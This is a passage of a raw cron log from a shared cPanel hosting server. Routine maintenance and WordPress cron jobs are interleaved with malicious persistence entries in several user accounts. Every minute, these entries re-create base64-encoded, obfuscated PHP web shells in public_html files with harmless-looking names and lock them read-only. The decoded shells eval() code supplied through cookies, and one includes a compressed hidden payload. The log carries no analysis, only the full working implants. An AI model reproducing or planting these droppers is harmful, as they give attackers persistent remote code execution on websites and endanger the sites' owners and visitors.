ogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:46:01 medusa CROND[22085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:46:01 medusa CROND[22086]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:46:01 medusa CROND[22089]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:46:01 medusa CROND[22090]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:46:01 medusa CROND[22087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:46:01 medusa CROND[22092]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:46:01 medusa CROND[22091]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:46:01 medusa CROND[22088]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:46:01 medusa CROND[22098]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:46:01 medusa CROND[22099]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:47:01 medusa CROND[13857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:47:01 medusa CROND[13872]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:47:01 medusa CROND[13890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:47:02 medusa CROND[13986]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:47:02 medusa CROND[13987]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:47:02 medusa CROND[13988]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:47:02 medusa CROND[13989]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:47:02 medusa CROND[13994]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:47:02 medusa CROND[13995]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:47:02 medusa CROND[13996]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:47:02 medusa CROND[13997]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:47:02 medusa CROND[13998]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:47:02 medusa CROND[13999]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 07:48:01 medusa CROND[5139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:48:01 medusa CROND[5153]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:48:01 medusa CROND[5235]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:48:01 medusa CROND[5236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:48:01 medusa CROND[5237]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:48:01 medusa CROND[5239]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:48:01 medusa CROND[5241]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:48:01 medusa CROND[5243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:48:01 medusa CROND[5244]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:48:01 medusa CROND[5246]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:48:01 medusa CROND[5247]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 